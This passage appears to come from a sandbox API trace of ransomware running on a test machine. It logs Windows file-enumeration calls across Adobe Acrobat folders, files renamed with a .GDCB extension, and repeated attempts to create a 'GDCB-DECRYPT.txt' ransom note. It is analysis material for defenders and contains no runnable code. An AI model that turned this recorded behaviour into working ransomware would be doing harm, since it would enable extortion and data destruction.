Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5a4d18 [0169.904] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.904] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.904] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.904] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.904] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.904] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2=".") returned 1 [0169.904] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2="..") returned 1 [0169.904] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" [0169.904] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 122 [0169.904] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.904] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.904] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2=".") returned 1 [0169.904] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2="..") returned 1 [0169.904] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst" [0169.904] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 122 [0169.904] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.904] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.904] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2=".") returned 1 [0169.904] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2="..") returned 1 [0169.904] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" [0169.904] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 121 [0169.905] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.905] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.905] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2=".") returned 1 [0169.905] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2="..") returned 1 [0169.905] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst" [0169.905] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 121 [0169.905] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.905] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.905] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.905] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.905] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache" [0169.905] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned 109 [0169.905] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.905] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.905] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.905] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt" [0169.905] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 120 [0169.905] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.905] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.905] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2=".") returned 1 [0169.905] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2="..") returned 1 [0169.905] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB" [0169.905] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 125 [0169.905] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0169.905] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.905] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2=".") returned 1 [0169.905] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2="..") returned 1 [0169.905] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr65536.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB" [0169.905] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 130 [0169.905] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0169.905] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.905] lstrcmpW (lpString1="SharedDataEvents", lpString2=".") returned 1 [0169.905] lstrcmpW (lpString1="SharedDataEvents", lpString2="..") returned 1 [0169.905] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="SharedDataEvents" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents" [0169.905] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 120 [0169.905] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.905] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2=".") returned 1 [0169.905] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2="..") returned 1 [0169.905] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="ToolsSearchCacheRdr" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr" [0169.905] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned 123 [0169.905] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.905] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2=".") returned 1 [0169.905] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2="..") returned 1 [0169.905] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="UserCache.bin.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB" [0169.905] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 122 [0169.905] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0169.905] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0169.905] FindClose (in: hFindFile=0x5a4d18 | out: hFindFile=0x5a4d18) returned 1 [0169.905] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.906] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt") returned 121 [0169.906] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\adobe\\acrobat\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.906] GetLastError () returned 0x50 [0169.906] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.907] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned 104 [0169.907] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*" [0169.907] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5a4918 [0169.907] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.907] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.907] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.907] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.907] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.907] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2=".") returned 1 [0169.907] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2="..") returned 1 [0169.907] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" [0169.907] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.907] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 122 [0169.907] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 122 [0169.907] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.907] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.907] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2=".") returned 1 [0169.907] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2="..") returned 1 [0169.907] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst" [0169.907] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.908] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 122 [0169.908] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 122 [0169.908] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.908] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.908] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2=".") returned 1 [0169.908] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2="..") returned 1 [0169.908] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" [0169.908] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.908] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 121 [0169.908] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 121 [0169.908] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.908] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.908] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2=".") returned 1 [0169.908] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2="..") returned 1 [0169.908] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst" [0169.908] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.908] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 121 [0169.908] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 121 [0169.908] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.909] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.909] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.909] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.909] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache" [0169.909] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\" [0169.909] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.909] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.909] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.909] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.909] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.909] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.909] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned 110 [0169.909] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*" [0169.909] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5a4e18 [0169.909] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.909] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.909] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.909] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.909] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.909] lstrcmpW (lpString1="AcroFnt15.lst", lpString2=".") returned 1 [0169.909] lstrcmpW (lpString1="AcroFnt15.lst", lpString2="..") returned 1 [0169.909] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" [0169.909] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 123 [0169.909] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.909] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.910] lstrcmpW (lpString1="AcroFnt17.lst", lpString2=".") returned 1 [0169.910] lstrcmpW (lpString1="AcroFnt17.lst", lpString2="..") returned 1 [0169.910] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst" [0169.910] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 123 [0169.910] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.910] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.910] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.910] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.910] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt" [0169.910] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 126 [0169.910] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.910] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0169.910] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0169.910] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.910] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt") returned 127 [0169.910] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\adobe\\acrobat\\dc\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.911] GetLastError () returned 0x50 [0169.911] 